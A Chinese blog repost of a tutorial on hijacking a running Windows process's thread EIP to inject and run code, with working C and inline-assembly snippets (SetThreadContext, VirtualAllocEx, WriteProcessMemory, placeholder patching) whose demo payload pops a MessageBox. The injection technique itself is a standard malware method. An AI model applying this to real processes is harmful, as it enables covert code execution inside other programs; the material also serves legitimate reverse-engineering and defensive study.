流沙团
【转载】劫持正在运行进程的EIP注入代码的方法
2017-12-26 流沙团


进程就是4GB  线程就是EIP



无意间看到的文章,还不会用,收藏下!







【标题】: 劫持正在运行进程的EIP注入代码的方法

【作者】: 火血狼(QQ:65845743)

【工具】: VC++2005, WINXP, WIN7

【声明】: 1.禁止用来做破坏;2.转载请告知作者.

-----------------------------------------------------------------------------

【灵感来源】

近日,在读<<Windows内核编程>>的时候,偶然发现,一个函数GetThreadContext,该函数可以使用户级的 代码访问并操作指定线程的上下文:CONTEXT,通过这个CONTEXT里的一个字段EIP,我们可以得到CPU寄存器的当前值。当时就想,如果通过这 个EIP允许修改,不就可以控制程序流程了吗?查了查资料,果然可以被另外用户态的进程修改,于是做了如下实验,实验目标:劫持EIP,执行自己代码,然 后恢复EIP。



【第一步】修改另外进程的EIP寄存器

SuspendThread(hThread);//这里先让线程挂起,避免EIP乱跑

CONTEXT context; 

context.ContextFlags = CONTEXT_CONTROL; 

GetThreadContext(hThread, &context); 

DWORD dwEIP = context.Eip;

context.ContextFlags = CONTEXT_CONTROL; 

//

context.Eip = 0x000000; //这里随便设一个EIP值,导致目标进程崩溃 

SetThreadContext(hThread, &context); 

ResumeThread(hThread);



通过上面的代码实验,得出结论,EIP的设置是不受限制的。(其中hThread为目标进程的主线程句柄,至于如何得到,很多地方有例子,这里不再普及基础知识)



【第二步】构建合法的EIP值,引导目标进程EIP进入指定代码

在进行这一步的时候我遇到了以下几个问题:1.目标进程只能访问自身的虚拟内存地址;2.如何向内存中放入指定代码。

要解决第一个问题,就要用到

PVOID pCodeRemote = VirtualAllocEx(hProcess, NULL, (size_t)dwCodeSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE));

这个代码将在目标进程的虚拟内存里申请一块儿大小为dwCodeSize的鲜活内存空间,并把内存起始指针返回。(并且页权限为可执行,可读写)

解决第二个问题,要用到汇编啦

写这样一个函数void __declspec(naked) __stdcall ASM_RemoteFunc(){

_asm{ int 3 }

}

然后把这个函数Copy到刚才的内存中,用到代码

WriteProcessMemory(hProcess, pCodeRemote, (PVOID)ASM_RemoteFunc, (size_t)dwCodeSize, NULL)

到这里,又有疑问了,怎么确定dwCodeSize呢?嗯,可以在函数末尾加个特殊值,然后查找到这个值,就可以确定函数的末尾地址了,嘿嘿,来试试

(naked修饰这里也不解释,请读者自行查资料)

void __declspec(naked) __stdcall ASM_RemoteFunc(){

_asm{ int 3; push 0x12345679 }

}



这样写搜索代码

void* find_ptr(void* mem, DWORD dwv)

{

void* ret_ptr;

__asm

{

mov eax, mem

jmp comp

diff: inc eax

comp: mov ebx, [eax]

cmp ebx, dwv

jnz diff

mov ret_ptr, eax

}

return ret_ptr;



最后,函数大小可以通过下面代码来计算:

DWORD dwCodeStart = (DWORD)ASM_RemoteFunc; PVOID ptrCodeLocal = (PVOID)dwCodeStart; DWORD dwCodeEnd = (DWORD)find_ptr(ptrCodeLocal, PLACE_HOLDER_END) + 4; DWORD dwCodeSize = dwCodeEnd - dwCodeStart; 

好了,第二部问题解决了,实验一下,果然,目标进程产生中断异常,说明执行了指定代码,但是最终程序还是会崩溃。如何能让程序不崩溃呢?



【第三步】寄存器和堆栈恢复

先分析一下程序为啥崩溃:因为我们改变EIP的时候,其代码有可能处于任何位置,执行完我们的代码后,并没有恢复原来的EIP指针,也没有保护好各个寄存器的值,目标进程会出现不可预计的现象。

如何恢复EIP呢,写过shellcode的人都知道,ret可以做到这一点,于是我们先push当前的EIP,然后,再结束的时候ret,就会返回到原来的地方执行EIP啦,于是这样写:

void __declspec(naked) __stdcall ASM_RemoteFunc(){

_asm{

push 0x12345670

ret

push 0x12345679

}

}

呵呵,有人奇怪了,为啥用0x12345670而不用真正的EIP呢,因为这会儿我们无法得到,运行的时候才有。那怎么办呢?不用急,我们用找函数大小的方法找到0x12345670的地址,然后把目标进程的当前EIP,写入,不就行啦。

void * placeHolderEIP = find_ptr(ptrCodeLocal, 0x12345670);

memcpy((void *)placeHolderEIP, &dwEIP, 4);

运行,安静的通过,哈哈。

下面保护寄存器,并且调用一些有意思的代码:

#define PLACE_HOLDER_EIP 0x12345670

#define PLACE_HOLDER_ST1 0x12345671

#define PLACE_HOLDER_ST2 0x12345672

#define PLACE_HOLDER_FUN 0x12345678

#define PLACE_HOLDER_END 0x12345679

void __declspec(naked) __stdcall ASM_RemoteFunc(){

_asm{

push PLACE_HOLDER_EIP; 

pushfd; 

pushad; 

push MB_OK | MB_ICONINFORMATION

push PLACE_HOLDER_ST1;

push PLACE_HOLDER_ST2;

push NULL

mov eax, PLACE_HOLDER_FUN;

call eax; 

popad; 

popfd; 

ret;

push PLACE_HOLDER_END

}

}



按照同样的内存查找的方法,把指定地方放入自己的值:

HMODULE hModule = 0;

if (!(hModule = LoadLibrary(_T("User32.dll")))) return false;

DWORD funRemote = 0;

if (!(funRemote = (DWORD)GetProcAddress(hModule, "MessageBoxA"))) return false;



PVOID strRemote1 = NULL; 

if (!(strRemote1 = VirtualAllocEx(hProcess, NULL, (size_t)(strlen(strPam1) + 1), MEM_COMMIT, PAGE_READWRITE))) return false; 

PVOID strRemote2 = NULL; 

if (!(strRemote2 = VirtualAllocEx(hProcess, NULL, (size_t)(strlen(strPam2) + 1), MEM_COMMIT, PAGE_READWRITE))) return false; 

PVOID pCodeRemote = NULL; 

if (!(pCodeRemote = VirtualAllocEx(hProcess, NULL, (size_t)dwCodeSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE))) return false; 

void * placeHolderEIP = find_ptr(ptrCodeLocal, PLACE_HOLDER_EIP);

void * placeHolderST1 = find_ptr(ptrCodeLocal, PLACE_HOLDER_ST1);

void * placeHolderST2 = find_ptr(ptrCodeLocal, PLACE_HOLDER_ST2);

void * placeHolderFUN = find_ptr(ptrCodeLocal, PLACE_HOLDER_FUN);

memcpy((void *)placeHolderEIP, &dwEIP, 4); 

memcpy((void *)placeHolderST1, &strRemote1, 4); 

memcpy((void *)placeHolderST2, &strRemote2, 4);

memcpy((void *)placeHolderFUN, &funRemote, 4);



最后,把自己的函数复制到目标进程

if (!WriteProcessMemory(hProcess, strRemote1, (LPCVOID)strPam1, strlen(strPam1), NULL)) return false; 

if (!WriteProcessMemory(hProcess, strRemote2, (LPCVOID)strPam2, strlen(strPam2), NULL)) return false;

if (!WriteProcessMemory(hProcess, pCodeRemote, ptrCodeLocal, (size_t)dwCodeSize, NULL)) return false; 

然后,ResumeThread(hThread),弹出messagebox,标题是strRemote1,内容为strRemote2指定的字符串值。

点ok后,目标进程安全无恙。大功告成!!



【结论】 EIP就是一切!!

发表评论:
昵称

邮件地址 (选填)

个人主页 (选填)

内容